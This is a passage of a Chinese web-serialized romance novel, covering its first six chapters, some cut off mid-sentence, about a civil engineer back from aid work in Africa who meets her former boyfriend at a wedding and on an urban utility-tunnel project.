《直到日落》 1. 第 1 章 《直到日落》全本免费阅读 早上六点,响着闹铃的手机在桌上嗡嗡作响。床上的人利落地掀被下床,揿灭手机,走到厨房倒米煮粥,用黑色皮筋绑起一头长发,再拿起牙刷,顶着满嘴的泡沫用勺子搅动米粥。 洗漱、做饭、换衣服化妆,沈时因的一系列动作做得行云流水。简单的早饭端上桌,餐桌对面坐着沈外婆。沈时因看着外婆缓慢地拿起勺子,小声提醒:“小心点,烫。” 在这间饱经风霜的老房子里,祖孙俩相依为命多年。沈外婆索性放下勺子,那双浑浊发黄的眼睛仿佛时刻氤着水光。她说:“你才从非洲回来,外婆都还没来得及好好看你,怎么又要出去?” “昨天不是跟您说了么,今天要入职。”沈时因已经吃完,她站起身往托特包里放电脑,又站在镜子前检查仪容。她戴着两个素色耳环和样式简单的手链,在狭小的房子里走来走去,伴随着乒哩乓啷的声响。 沈外婆的视线随着沈时因移动,她能看出孙女对这个日子的重视,几次都翕动嘴唇,想交待两句。可话到嘴边,沈外婆终是意识到自己已经老了,跟不上时代,也就没什么好嘱托的。 “我走了啊,”沈时因站在门口换鞋,“吃完了不用管,放在水槽我晚上回来洗。我特地多煮了些,中午可以热着吃。热好了记得关火,冰箱里还有速冻饺……” 沈时因还没说完,忽然几不可闻地叹了一声。祖孙俩好像同时陷入了一种没来由的、无边际的不可言状之中。 沈时因压下门把,背对着外婆:“等过段时间外派非洲的补助津贴到了,我就给您请个护工。” 沈时因赶在外婆开口之前闪身走出去,很快关上房门。要是不快些出门,沈外婆大概又要说些“不要浪费,辛苦赚来的钱就应该存起来”一类的话。 可沈时因决心很坚定,她当初毅然决然去非洲赚钱,就是为了让外婆过上好日子。所以她给外婆花钱花得心甘情愿。 沈时因走进地铁站,在站台等待片刻,坐上人满为患的车厢。沈时因前一晚查好了路线,她一共需要换乘三次,她担心路上会出现什么突发状况,因此提前了许久出门。 即使做好了充足的心理准备,沈时因还是没料到地铁里会这么多人。座位当然是没有的,能走上车,有个站的位置就很不错了。沈时因被挤到角落,有些呼吸不畅。 这次从非洲回来,沈时因有很多地方都需要重新适应。一方面是快捷便利的基础生活,买菜只需要动动手指,新鲜的蔬菜肉类在半个小时内就会送到,外卖也是一样。但与之相对的是,沈时因不太习惯这样的快节奏以及每个地方的人山人海。沈时因觉得自己……有点晕人。 一个小时后,沈时因站在了一栋恢弘的建筑前。身边都是穿着职业装、步履匆匆的上班族,沈时因忽然有些感慨。 大学毕业以后,沈时因进入同集团的分公司,在技术岗任职两年,随后是非洲的援建项目,沈时因顶着身边人不理解也不看好的目光外派了三年。再回来,就是总部的调职书。 外派经历让沈时因完成了别人十年八年都不一定能做到的职业升迁,虽然这是出国之前就谈好的,她也实实在在地吃了三年苦,但沈时因自认不是从基层一步步走上来的老员工,突然要去到一个全然陌生且行业顶尖的地方,她难免要拿出十二分的重视。 人事部的部长出来迎接了沈时因,几十层的大楼里,沈时因被带着一层一层地往上,在每个部门都露了下脸,混了个眼熟。大半天下来,沈时因脸都快笑僵了。 最后,这位人事同事停在了一间半透明的独立办公室前,将带着沈时因姓名和职位的名牌郑重其事地放进了门上的玻璃板里。 这是一间不算大的办公室,但它象征着集团中层那一点或许微不足道的地位。在这个年头,空间和隐私就是最弥足珍贵的东西。 没有太多的时间留给沈时因感叹,她很快被卷入这个巨大企业的齿轮之中,接下来是没完没了的会议、画图纸、改图纸、计算弯矩应力和构建模型。 沈时因的直系上司是一个叫刘周平的中年男人,入职一个月,沈时因还没见过他停下,不是在说话就是在听别人说话,不是在各个部门间穿梭就是面对电脑手指翻飞。 “沈工,准备一下。”刘周平站在敞开的玻璃门前,仪式性地叩了两下门,“城建那边的设计师过来对接了。” 沈时因一手抱着图纸,一手托着电脑,跟在刘周平身后前往会议室,“是赵云萱,赵工?” “对,你们之前在内网电联过几次。” 沈时因走进会议室放下电脑,赵云萱已经到了,她站起身,两人虚虚握了一下手。赵云萱难掩惊艳之色,笑着说:“没想到沈工长得这么漂亮。” 沈时因不仅长得漂亮,还是那种一团和气的漂亮,没什么攻击性,看着温温柔柔好像从来不会生气。但只要仔细望进她的眼睛,就会发现她的眸光其实很冷,那是一种充满戒备和疏离的冷清意味,只是掩藏得太深。 这一个多月以来,沈时因已经完全融入了总部。上到公司副总,下到前台和保安,沈时因好像不论跟谁都能说上几句话,她笑起来眉眼弯弯,声音柔软熨帖。 只要说起沈时因,所有人嘴里都是夸赞之词,说她长得好,性格也好。可若要真问起沈时因家中情况如何,她的喜好作风如何,私底下爱去哪里爱做什么,又没有一个人能回答出来了。 赵云萱是个四十来岁,在这个行业浸洇多年的体制内中层。鉴于她的女性身份,这句话并不算冒犯,沈时因也只当她是在客套,笑了一笑,随即坐了下来。 身后陆陆续续有人进来,都各自找了位子坐下,大会议室很快变得满满当当。刘周平没有明说为什么要临时开会,但从这个阵仗来看,应该是上面又施压了。 沈时因这次的任务是参与修建综合管廊,这是一个大项目,建成之后要给其它城市打样。公司上上下下都卯足了劲,不仅要使用盾构开挖,沿途还要分布管道,做好支护就是重中之重。 会议一直持续到深夜,每个人脸上都多少有些苦大仇深。直到赵云萱翻阅完沈时因计算完成的应力分析,脸 2. 第 2 章 《直到日落》全本免费阅读 钟琂是个重诺的人。沈时因依稀记得以前跟他提过这事,他也答应过要一同前往。可如今都物是人非了,那些承诺应该也作不得数。 沈时因想了想,回复道:【不用了,没必要。】 钟琂像是一直关注着信息,他回得很快:【郑意成也是我的朋友。】 照这么说,他回来参加婚礼跟自己一点关系也没有,他也不是作为谁的亲属参加。那么这就是他的自由,沈时因管不着。 虽然如此,沈时因还是打字道:【可是郑意成临时决定邀请一些同事,都是建筑行业的人,可能会让人发现我们的关系……】 沈时因的手指突然顿住,她意识到自己犯了一个错误——钟琂之与她,已经是再平常不过的前同事身份,哪里还有什么见不得人的关系能被别人发现? 沈时因将这些字全部删掉,关掉与钟琂的对话框。 退出之后,沈时因打开微信,给梁冉发信息:【睡了吗?】 梁冉相当上道地回复:【我买点吃的喝的来你家?】 沈时因回复了一个大拇指。 梁冉是沈时因的发小,两人小时候在一个院子里长大,还因为抢一个兔子玩偶吵过架,动静大得惊动了双方父母。当然了,那是沈时因的父母还在的时候。 后来,梁冉一家搬去了新区的电梯房,沈时因的父母也相继离去。那是一段很不真切的日子,直到梁冉突然有一天出现的沈时因的家门口,拿着那个兔子玩偶二话不说塞进沈时因手里,对她说:“这是我最宝贵的玩具,我把它送给你。” 小小的沈时因往梁冉身后看去,没有大人,她是一个人跨越大半个城市来的。小小的梁冉脸红扑扑的,身上都是汗,兔子被她紧紧攥在手里,已经被捏得变了形。 沈时因把兔子扔到地上,说:“我已经不想要了。” 梁冉蹲下身捡起来,执拗地又往沈时因怀里塞。 沈时因已经不记得那天自己扔了多少次,梁冉又捡了多少次。总之,那个小兔子玩偶最后出现在了沈时因的床头,梁冉也成为了她最好的朋友,唯一的朋友。 * 梁冉进门的时候沈外婆正好起夜,她甜甜地叫了声“外婆”,熟门熟路地往沈时因卧室走。 “你上次说给外婆找护工的事。郑意成有个堂弟在三甲医院上班,我让他帮忙打听打听。” “嘘——”沈时因一把将梁冉拉进房间,再鬼鬼祟祟地关上房门。 梁冉不自觉地压低了声音,指了指门外:“老太太还生着气呢?” 沈时因点了一下头:“我前几天就提了一嘴面试护工的事,她又嫌我乱花钱。” 沈时因叹了口气,无奈地说:“我以为我回来是尽孝的,结果光吵架了,每件事都说不到一块去,头疼。” “老人嘛,都这样。她一个人把你拉扯大也不容易。”梁冉从袋子里拿出几罐啤酒,还有些热气腾腾的夜宵。 两人盘腿坐在床沿,就像小时候那样,挨得很近。 “除了这个,你们还吵什么了?”梁冉问。 “她还让我去找我爸。” 沈时因不以为意地说完,反倒是梁冉一愣:“……都这么多年了,还找得到吗?” “不管找不找得到,反正我不稀得找。”沈时因说:“我妈过世没多久,他就急着要跟厂长的女儿结婚,嫌我是拖油瓶。这种人我也不稀得找。” “也是。”梁冉夹了块炸鸡吃,“可咱外婆以前不是老骂他吗,怎么又突然让你去找他了?” “她说她老了,想有个人照顾我。”沈时因啼笑皆非地说:“我那个爸都多大岁数了,我现在正值壮年,还能工作赚钱,谁照顾谁还不一定呢。” “是啊,你现在跟他相认,不是白让别人享受胜利果实吗。咱外婆这个道理都没想明白?” “后来想明白了,又开始问我上次带回来的小钟怎么没下文了。”沈时因以手支颐,闷闷地说:“我说了那种人我高攀不上,我自己也能照顾自己,可她还是翻来覆去地问。” 说到钟琂,沈时因想起来找梁冉的目的。 “对了,钟琂说他要回来参加你的婚礼。” “啊?”梁冉诧异道:“我还以为你们……” “是分手了。”沈时因打断道:“他说是为了郑意成回来,大概是提前知会我一声。没想到他们俩就见过一次面,关系还能这么好。” “他们好像有时候会在手机上聊几句,我也不太清楚……”梁冉猛然反应过来这件事的重点:“不对……那你想见他吗。本来邀请他就是出于你这层关系顺手一发。你要是不想见的话我就收回邀请,让他别来了。” “用不着,都是成年人了,不至于连面都不敢见。”沈时因看上去很自然,像是真的走出来了,完全把钟琂只当成一个普通的前同事。 准确来说,沈时因好像也不存在“走”这个过程。从回国的第一天起,她就表现得情绪稳定,完全没有失恋之后的戒断反应。 起初,听说这事的梁冉还如临大敌,买了一大堆酒过来。她以为会看到一个肝肠寸断、以泪洗面的沈时因,但出现在门后的沈时因言笑晏晏,还很有兴致地问她要不要去吃以前母校外面那家很好吃的米线。 梁冉还以为电话里的自己听错了,又问了一遍:“你是真的和钟琂分手了?” “嗯。” “他提的?” 沈时因:“我提的。” “他出轨了?还是冷暴力,逼你提分手?”梁冉已经竖起了眉毛,仿佛只要沈时因一声令下,她就可以立马大骂渣男,三天三夜不带重样的那种。 “……不是,”沈时因说:“性格不合,本来也不是一个世界的人。” 沈时因的回答官方得就像明星工作室发出的分手声明,一点有效信息也没有。 梁冉推测大概是有一个过程,沈时因这个人也一向慢热。接下来的几天,梁冉只要不上班都守在沈时因身边,生怕她想不开。 过了几天,梁冉总算意识到自己是在多此一举,她感慨道:“我本来还以为钟琂不一样。” 沈时因笑着反问:“怎么不一样了?” “平心而论,他是你历任男友里条件最好的。你们在一起的两年也一直感情稳定。而且……”梁冉看了一眼沈时因,想到她连听见“钟琂”的名字都能神色如常了,于是大着胆子说:“而且你以前是真的很喜欢他。” 沈时因并不否认以前的她的确很喜欢钟琂这件事,她只是说:“但那些都过去了。” * 沈时 3. 第 3 章 《直到日落》全本免费阅读 周五下午,沈时因早早地完成手头工作,提前给刘周平说了一声,终于赶在彩排开始之前到达了酒店。 “因因,你过来。”梁冉身边站着一个很年轻高大的男人,她说:“我给你介绍一下,这是明天的伴郎,郑意成的堂弟,叫郑牧。” “郑牧,这是我发小,叫沈时因。”梁冉完成任务一般介绍完,交待了一句“你们先待命”就赶紧跑去了司仪和摄影师那边,像是在做进一步沟通。 另一边,新人的四位父母也都在。郑意成的父母还算正常,梁冉的父母却都一言不发地沉着脸。 沈时因本来想上去打声招呼,但一看那个气氛又有些踟蹰。 突然,旁边有人碰了碰她的胳膊。郑牧弯起了靠近沈时因的那一侧手臂,在臂弯之间留出一块空隙,另一只手不太自在地摸了摸鼻子,“该伴郎伴娘上场了。” 沈时因连忙挽住郑牧的手,两人一起走过长长的地毯,据司仪说,明天这里会铺满花瓣,他们只需要沿着花瓣走就行。 “好——你们两个现在分开,分别站在新郎新娘身后。”司仪就像一个在统筹安排的导演,指着沈时因和郑牧说,“伴娘拿着戒指,宣誓完成之后送上去。” 彩排重复了好几遍,直到每个人都能闭着眼睛走出自己的站位。 最后一次结束,天已经全黑了,初夏的夜晚有些凉意,沈时因站在草坪一角,抱着胳膊。 梁冉走了过来,她的脸色有些凝重,也不知道是太累还是紧张。“因因,你们先回去吧。好多从外地过来的亲戚需要安排住宿……总之让郑牧送你。郑牧,可以吧?” 梁冉的最后一句话是看向郑牧说的,后者当即点头,“可以。” 沈时因跟在郑牧身后来到地下停车场,停在了一辆黑色越野车前。坐后面不太礼貌,沈时因想了想,打开副驾驶车门坐了进去。 上车以后,沈时因系好安全带,报出一个地址。随即不自觉地往中控台和后排看了几眼,像是在打量车内陈设。 “怎么了?”郑牧本就留意着旁边,把沈时因的动作都看在了眼里。 “我……”沈时因一顿,笑着说:“我最近正好也在选车,这个车型正好在我的考虑范畴。第一次看到真车,没忍住好奇。” “这样啊,我这辆车也是刚提的。目前开了快半年,总体来说还算满意。特别是空间很大,之前还带了满车的装备去露营。” 沈时因眼前一亮,她最看重的就是车内空间。沈时因回头看了看,像是在估测后备箱的大小。 “你的具体诉求是什么?”郑牧在买车之前也研究过一段时间,在这方面算是半个专家。 “空间要够大,最好能放下轮椅。”沈时因说。 说完这句话,沈时因能明显感觉到车身一滞。郑牧恍然大悟:“等等,原来你就是成哥口中那个需要请护工的人?” 郑牧突然就有些后悔前两天对这件事太不上心。自从他硕士毕业以后进入三甲医院,亲戚朋友找他办事的电话就没消停过。 一会儿是找他挂号,还得是专家号,一会儿又让他帮忙加个床位,动手术也问能不能插队。郑牧都快烦死了,他恨不得当场发火:“我是在医院上班,但不代表医院是我开的!” 因此在收到郑意成让他帮忙找护工的请求时,郑牧压根没放在心上。 然而刚才在草坪看到沈时因的第一眼,郑牧差点没把心给跳出来。他寒窗苦读多年,好不容易熬出了头。作为一个优质青年,最近没少被安排相亲。 郑牧工作忙,交友圈子又窄,因此并不太排斥相亲,只是一直没找到合眼缘的。 从上车以来,郑牧正愁找不到话题。他搜肠刮肚地回忆起堂哥当初给自己说的要求,主动搭话:“你要请护工照顾外婆是吗,你外婆情况怎么样?” “她精神挺好的,就是年纪大了,腿脚有些不便。她喜欢出门散步,但我不太放心她一个人出去。” “那真是巧了,我就是骨科医生。你外婆之前拍过腿的片子吗,有的话可以发给我看看。” 沈时因还在回想上次拍片子是什么时候,郑牧就已经把手机递了过来。沈时因接过来一看,上面显示着一个微信二维码。 沈时因扫码加上郑牧的微信,双手把手机递过去,有些歉意地说:“这样会不会太麻烦你了?” “不会不会。”郑牧爽朗地说:“平时亲戚朋友有个什么头疼脑热的,都是我在帮忙诊断。你哪天要带外婆来医院检查也尽管找我。” 沈时因连声道谢,她猜想梁冉大概提前打过招呼,郑牧才会这么热情。“那好,我回家找找之前的病例,到时候发给你看。” 沈时因和外婆住在老城区,一到晚上路边停满了车。沈时因让郑牧把车停在了两条街外,下车以后对着郑牧挥手:“明天见。” 一句礼貌性的说辞罢了,郑牧却笑得牙不见眼,掉头掉了好几次也没能拐出这个狭小的街角。他也腾出一只手,挥舞道:“明天见。” * 第二天,作为伴娘的沈时因起了个大早,开始了这一天的繁忙行程。婚礼这件事到底还是能让人有所触动,早上敬茶的时候梁冉和她妈妈都落了泪,沈时因别过脸,也悄悄鼻酸了一瞬。 来到前一晚彩排过的草坪会场,宾客已经悉数落座。即使已经刻意去忽略某个人的存在,然而钟琂的出现还是很难让人不去注意。 算算航程和时差,钟琂落地的时间应该不超过十个小时,可浑身没有一点舟车劳顿之后的憔悴倦意。他身着正装,人高腿长,走进草坪会场的一刻很是扎眼,惹得旁人频频侧目。 钟琂的目光在座次间短暂巡睃,犹疑片刻,最终在“男方亲友”的区域落座。 在他挑选座位的几分钟里,已经有人认出他的身份。人群中爆发出小范围的骚动,基本都是郑意成的大学同学和同事在窸窸窣窣地议论。 行业内的人基本都听说过钟琂,业界大会的发言、专项研究课题的展 4. 第 4 章 《直到日落》全本免费阅读 仪式之后是晚宴。乐队徐徐入场,装满丰盛食物的餐车也被推出来。此时暮下四合,天色渐晚。微凉的夜风吹拂在发间,耳边是乐队的低吟浅唱,氛围很是惬意。 沈时因陪梁冉去换敬酒服,宾客们也都站起身,各自拿着盘子寻觅吃食,也有很多举着酒杯三三俩俩站在一起闲话家常的。 沈时因再走出来看见的就是钟琂被几个人团团围住,轮番敬酒的场面。 沈时因几不可闻地笑了一声,梁冉凑上来一看,“幸灾乐祸呢?” 沈时因耸了耸肩,不说话,像是很乐意看见钟琂明明招架不住,想发作却碍于场合的吃瘪样。 钟琂不喜欢酒局,也一向不爱与人闲聊。倒不是有多不善言辞,项目开展会的时候,他能一个人上台代替整个项目组发两个小时的言。他只是觉得闲聊浪费时间。 钟琂的时间很宝贵,他每一分每一秒都只做有意义的事。 以往那个敢在行业大会上因为听到自己不喜欢的内容就拂袖而去的钟琂在这一刻的确被困住了,发觉这件事的人当然不止沈时因一个,郑意成用假肢给自己杯子里倒满酒,打算去给钟琂脱困。 梁冉无条件站在沈时因那边,整场婚礼下来都对钟琂没什么好脸色,但作为另一个主人的郑意成不能这样。 郑意成端着酒杯走过去,冷不丁被一个人拦住。 郑牧像是等了许久,总算等仪式结束才找到机会,他把郑意成拉到一边坐下,神神秘秘地朝沈时因的方向努了努嘴,“她是单身吗?” 郑意成顺着郑牧示意的方向看去,心中了然,却有些不想掺和沈时因的事,含混道:“好像是吧。” 这话一出,郑意成的表情当即就变得复杂了起来。 郑意成:“怎么?” 郑牧的语气中不无埋怨:“我爸妈都快召集全世界的人给我介绍女朋友了,你身边有个这么合适的人选,怎么也不想着点我?” 见郑意成不说话,郑牧又问:“她多大了?哪个大学毕业的?在哪里上班?” “跟梁冉一年的,那应该是27,快28了。” 郑牧喃喃自语道:“那不是跟我也差不多嘛,正好配上。” 郑意成慢悠悠地回答后两个问题,“她是我大学同专业的学妹,刚从非洲回来。之前一直在那边援建。” “非……洲?”郑牧瞪大了眼睛,震惊地问:“她一个女孩子,怎么去那种地方?多危险啊。” 郑意成没回答,他在想别的,而且是越想越不对劲。钟琂的出席大概会在未来很长一段时间让身边的人都对自己高看一眼,可一场婚礼真的值得让他飞二十多个小时、跨越半个地球回来一趟?郑意成的确欣赏钟琂,也拿他当朋友,但他不觉得自己有这么大的面子。 郑意成站起身说:“我也不太清楚。我先去招呼一下那边的人。” 郑意成拿起那杯酒,穿过人流走到钟琂原本落座的地方,却发现人已经不见了。 钟琂是追出去的,他一直注意着沈时因,看见她独自一人往后面走,连忙对身边人丢下一句:“不好意思我有点事,一会儿再聊。” 沈时因奉梁冉之命来房间拿一会儿做游戏的奖品,她手里刚捧着几个礼品盒,身后就传来一道声音:“沈时因。” 钟琂的声音不算大,但在这个夜晚显得尤为清亮,沈时因回过头,正好看见往这边一路小跑的钟琂。 钟琂走到沈时因身前站定,又叫了一遍她的名字。 沈时因也想不明白,钟琂怎么就这么喜欢叫她的名字。以前在床上他就是这样,抱着她一遍遍地亲吻她的唇瓣,再含糊地叫她的名字,有时候沈时因累极了懒得回应,他就不知疲倦地痴缠过来,将“沈时因”这三个字变着花样地揉进她身体里。 想到那些令人脸热的画面,沈时因往后退了一步,房间里没开灯,她试图将自己更深地隐在昏暗里。 月光照进来,落在沈时因瞬间绷紧的脸上。钟琂看得出来她很紧张,这份紧张像防备,也像是忐忑,他更倾向于后者。 沈时因没有说话,只是露出了询问之色。一想到回去之后可能不会再有两个人单独相处的机会,钟琂脱口道:“你想对我说的话,现在可以说了。” 沈时因肉眼可见地变得怔愣,她眨了眨会在某些特定时候盈满潋滟水光的眼睛,像是在很真诚地发问:“我应该说什么?” 无措的人变成钟琂。沈时因越过他,看向热闹的会场,有些急切地说:“我们之间没有什么好说的,我想对你说的话早在离开非洲之前就说完了。” 钟琂差点以为自己听错了。一段航程不过二十个小时,算上延误、转机、落地后的休息,也才过去了不到两天。钟琂不清楚沈时因在这短短的时间内发生了什么,又是什么让她改变了主意。 “那你是为了这场婚礼才回来的?”钟琂兀地上前一步,他舔了舔干涩的嘴唇,不放过沈时因脸上的任何表情变化:“准确来说,你是为了外婆,还有这场婚礼才回来的。你是不是觉得在非洲没有什么归属感,为了能与家人朋友在一起才做出那些决定?” 沈时因显然没有料到钟琂会在这个时候问出这样的问题,她抿起唇,正色道:“不是,那些都不是主要原因。我之前其实已经说得很清楚了,我是为了和你分开才决定离开非洲。” 说完,沈时因越过钟琂,疾步回到会场,把礼品盒放到白色的长桌上。现场气氛酣然,大家很快玩起了“谁对新郎新娘最了解”的游戏,问题由梁冉和郑意成共同编撰,谁答对最多就能获得大礼。问题的答案常常令人捧腹,在场的每个人脸上都挂着笑,包括直到前一天还在强烈反对这场婚事的梁冉父母。唯一格格不入的人,恐怕只有钟琂。 钟琂隔了一会儿才回到座位,坐下的那一刻主持人正好问道:“下一题——第一次接吻,新郎和新娘谁主动?” 会场中央,印着单人照片的人形立牌很显眼,两个牌子前都分别站着许多还在犹豫要不要更改答案的竞猜选手。钟琂很自然地思索起这个问题,并将题干中的新郎和新娘换成了自己和沈时因。 明明主动接吻的人沈时因,先动心的那个人也是沈时因。钟琂泄气地想,沈时因就是很喜欢他,这并不是错 5. 第 5 章 《直到日落》全本免费阅读 当天晚上,凌志才和其他高层都在第一时间得知了钟琂的去向。与钟琂一时兴起的回国不同,总部的人都有些紧张忐忑。 不怪他们大惊小怪,实在是钟琂这个人的行事风格太……随心所欲。 五年前,钟琂从海外名校工程系phd提前毕业,而且是作为荣誉学生。摆在他面前的选择有很多——可以去最好的研究所继续深造,可以留在大学任教职,当然也可以入职最大型的建筑企业挥斥方遒。但钟琂偏偏认准了非洲那块地方。他认真挑选起可行的方案,从几家有资质在非洲援建的公司里挑选出一家,主动递上了投职简历。 包括凌志才在内的几个高层在看见这份履历的那一刻都感受到了什么叫天上掉馅饼。履历长得堪比桌上的卫生纸,还个个拎出来都相当不俗。高中时期参加amc数学竞赛获得全球卓越奖,大学时期当助教,硕士参与的项目获得了第二年的普奖,参加过两届由ASCE举办的太平洋分区赛都是冠军,在校期间就往专业期刊上发过不少文章,提出的理论登上了各大高校建筑系的专业教材。 董事会忙不迭地把人请过来,可又拿着这个烫手山芋没法,得开多少钱的工资才对得起这个聪明的脑袋呀?好在钟琂很直白地说出了自己的诉求,他要去非洲搞建设,工资待遇都无所谓。 董事会原本有意想将他留在总部,但也不用急于这一时,只要先把人收入囊中,后面再做其它安排都好说。但随着与钟琂的接触,凌志才越发觉得这是个明智之举,钟琂是个硬骨头,简而言之就是带着些恃才傲物的脾性。能在会议中途直言不逊指出上级错误,也会在前辈给他递上辛苦画好的设计图纸时毫不留情地扔进垃圾桶。 到后来,总部的人干脆盼着钟琂赶紧去非洲了。反正那地方天高皇帝远,随便钟琂怎么折腾,只要最后的作品漂亮坚固,不管挂名还是获奖还不都是公司的名字。他就像个吉祥物,只需要将名字在宣传页面展示一下,公司身价就能水涨船高。 起初也有人怀疑钟琂是在玩票,娇生惯养的贵公子不一定吃得了这个苦。毕竟他不爱钱权地位,什么都不在乎也就意味着没法拿捏,可谁也没想到他在那里一扎根就是五年,手里带出来的项目每一个都是能上新闻报道的程度。 也有人问过钟琂为什么非得去非洲,他答得很一本正经:“为了造福人类,为了世界和平,为了中非友谊。” 如果换一个人说出这番话招致来的一定是哄堂大笑,但说出的人是钟琂,于是也就没有人会去质疑话里的真实性。就像从小被呵护着长大的人成年以后反而会爱上极限运动一样,顺风顺水的钟琂大概也需要给自己找一些挑战。 所有人总算放下了心,认为这张王牌是跑不了了。 然而变故出现得很突然。前段时间张工给凌志才打来电话,第一句话就是:“钟琂好像陷入职业倦怠了。” 凌志才压根没放在心上,“谁都有可能陷入职业倦怠,唯独钟琂这个工作狂不会。” 张工在那头轻声抽气,紧接着传来点烟的声音,凌志才问:“你们又跟他对着干了?其实他就是要求高了点,只要按照他说的做就万事大吉。反正最后也总会证明他是对的。” “不是,”张工语气平稳地汇报道:“失眠,画图时走神,频繁看机票,情绪阴晴不定。哪一个你觉得像发生在钟琂身上的事?” 凌志才这时正襟危坐了起来,钟琂这个人热情一阵一阵的,万一就跟五年计划似的,上一个周期对非洲援建感兴趣,下一个周期就对保护珊瑚感兴趣了呢?他们公司的能耐可还没大到能开发大海。 凌志才眼前跟走马灯似的回想了一遍钟琂入职以来的行事作风,最后得出结论:“确实反常。他这五年好像就休过一次假,而且是在手头上几个项目都结束的时候。” “可不是么。我可给你们打了预防针了啊,万一钟琂撂挑子,你们得先选好能替补他坐上这个位子的人。” 凌志才叫苦不迭,光是有这个才能还能镇住场子的人就不好找,更何况还是去非洲那样艰苦的地方。最后,董事会召开紧急会议,一致决定要不惜一切代价保住钟琂。 凌志才五十来岁,算下来大概有三十年没装过孙子了。这回算是把这张老脸搁下,不仅忙前忙后地为钟琂操持回国事宜,还大清早地买好早饭来到别墅区,扣响房门的那一刻心里有一万句讨好的话正在蓄势待发。 房门从里面打开,站在门后的钟琂还穿着睡衣,松软的头发耷在额前,眼睛半睁不睁,整个人都透着倦意。 钟琂一向喜欢早起,今天倒是反常。凌志才提起手里的打包盒,满脸关切:“还没把时差倒过来?我给你带早餐了。” 钟琂侧过身,让凌志才进来。解释了一句:“昨天睡得晚。” 他前一天晚上接过车钥匙,漫无目的地沿着城市道路行驶,起初是打发时间,后来渐渐起了些观光的兴致,开始认真观赏起了沿途街景。 这是一座以夜景闻名的城市,晚上的风光不输白天。钟琂专程挑车流量大的路线,跟着大部队一路前行,反应过来的时候才发现自己来到了江边。他停好车走下来,街道右边是鳞次栉比的酒吧和花园餐厅,左边是沿江步道,许多背着挎包和相机的游客正在观光,热闹非凡。 钟琂很有作为游客的自觉,他走到围栏前向下看去,波光粼粼的江水在这座不夜城的包裹之下奔流不息,江水滔滔,循环往复,就像这座永不停歇的繁华都市。 钟琂抬起头,看到江对面挤挤挨挨的楼宇。钢铁森林一般的建筑体高耸入云,每栋楼外墙都在闪烁灯光,大有彻夜不休的架势,恐怕就连曼哈顿也要在对比之下稍显逊色。钟琂跟随人潮走进最高的那栋楼,坐电梯来到顶层,透过玻璃墙欣赏了许久的夜景,还花十块钱看了望远镜,算是将“游客”二字贯彻到底。 从高楼走 6. 第 6 章 《直到日落》全本免费阅读 沈时因是在周一早上例行查看邮件时在抄送那一栏看见了钟琂的名字。她没太在意,有时候最终方案出来了会让业界大佬帮忙看一看,但也仅限于指点两句,不会真的参与。 因此当沈时因走进会议室,看见钟琂坐在上首的那一刻,她说不清自己是什么感受。 沈时因来得很早,她一向习惯提前一会儿先来会议室整理资料,但钟琂比她更早,偌大的会议室里没有别人。钟琂在有人进来的一刻就循声望了过来,沈时因脚步一顿,一时间坐也不是,走也不是。 踟蹰几秒,沈时因还是坐在了自己惯常的位置上。她与钟琂之间隔了三个座位,清晨的会议室很安静,很长一段时间都只有沈时因翻阅卷宗和钟琂滑动鼠标的声音。 钟琂的目光落在电脑屏幕上,右手手指不断滚动着。他不动声色往沈时因的方向瞄了好几眼,每次看过去她都目不斜视,垂首伏案,仿佛一心扑在面前的资料上。 可仔细看看她的脸就会发现,沈时因紧紧抿着唇,脸颊因为用力而轻微鼓起,眼神似乎也不太聚焦。 以钟琂的经验来看,沈时因这是在生气。是迫于职场关系、在专业态度之下,小心隐忍的生气。 最后还是钟琂先开口,他声线平稳:“我打了黄热病疫苗,要十天后才能回非洲。十天一到,我马上就走。” 沈时因还是垂着脸,像没有听见一样继续整理手头上的图纸。就在钟琂以为她要将自己彻底忽略的时候,沈时因忽然问:“那你为什么要回来?” 他为什么要回来。 前天晚上漫无目的开着车打发时间的时候,钟琂也在心里问了自己同样的问题。到了这一刻,就连他也搞不清楚这个问题的答案了。 沈时因那避之唯恐不及的态度落在眼里同样刺眼。钟琂气极反问:“我为什么要回来?郑意成只有一只手,你觉得他在这一行还能干多久?我光是露个脸,就能让他在公司好过一些。还有,一个管涵算了大半个月,两方项目部来回拉扯就是拿不定一个主意,我不回来你们是不是打算掰扯到明年?” 沈时因心里那股气性彻底被他勾了出来,如果说本来还能假装平静,尽量维持住表面的和平,那么听完这些话的沈时因再也忍不了。她把手里的笔往桌上一拍,“你不在的时候我们推进得好好的,你就算不来郑意成也过得下去,不用你来装好人!” 钟琂不想跟沈时因吵,再吵下去仿佛又回到了身处非洲时沈时因离开的前夕。更何况他这样兴师动众地回来也不是为了和她吵架。 钟琂深吸了一口气,压下那些翻涌交织的情绪。然而再开口时的语气到底还是说不上多友好,钟琂问:“你反应这么大,是自认做不到能与我心平气和地共事?” 话音刚落,会议室的门突然被人从外面打开。刘周平手里抱着电脑,肩窝里还夹着手机。沈时因又抓起那只笔,另一只手撑着脑袋,遮住因情绪激动而浮上愠色的脸。 看见会议室里的人,刘周平匆匆挂断电话,几步上前握住了钟琂的手。 “沈工,这是凌副总叫过来给我们帮忙的钟琂。你们在非洲共事过,应该很熟悉了,不用我多介绍。” 岂止是熟悉,几个月前还睡在一张床上,赤诚相见呢。沈时因暗自腹诽,面上却不显,扯出个笑对刘周平说:“嗯,都认识的。” 上班时间一到,相关人员鱼贯而入。刘周平在人到齐之后再次郑重地介绍了一遍钟琂,没有太多互相认识和了解的过程,在刘周平的示意之下很快开始了第一轮发言。 钟琂不太按常理出牌,他没有一上来先看方案,而是自己构建出了一个模型。在所有人都发过一遍言之后,刘周平适时看向钟琂。 钟琂顿了顿,问道:“这是要将老旧城区结合的地下空间开发,主要使用盾构,老城区用喷锚暗挖,那么交错地点一定会产生沉降。降水井打算怎么排布?” 沈时因早已切换到专业态度,她将一张图纸递过去说:“喷射井每隔15米设置一个,隔水帷幕底在隔水顶板上面,主要是为了防止基坑底板隆起和承压水突涌。回灌井会采用加压式,能最大限度避免沉降,这是地下水位图。” 钟琂接过图纸专注地看起来,一旁的赵云萱补充道:“老城区用暗挖是城建的意思,那边居民多,不想影响交通。” 钟琂点点头,正想再问,手边又多出了一张图纸,沈时因语速很快地说明:“这是导墙的初步设计图,新城区这边的导沟已经进入了开挖阶段,下周就能插型钢。” SMW工法桩的选定是整个项目组共同做出的决定,为的是止水,也更适合软土。但钟琂不这么想。 “不是新的就一定好,变形太大,对老城区的路面是很大的考验。”钟琂指着其中一个路段说:“尤其是桩号K0+500~K0+950东侧的路堑,这是一个上坡,坡度是……” 整个会议室都传来一阵翻阅的声响,沈时因飞速按动计算器,“最大纵坡达到了10%。” 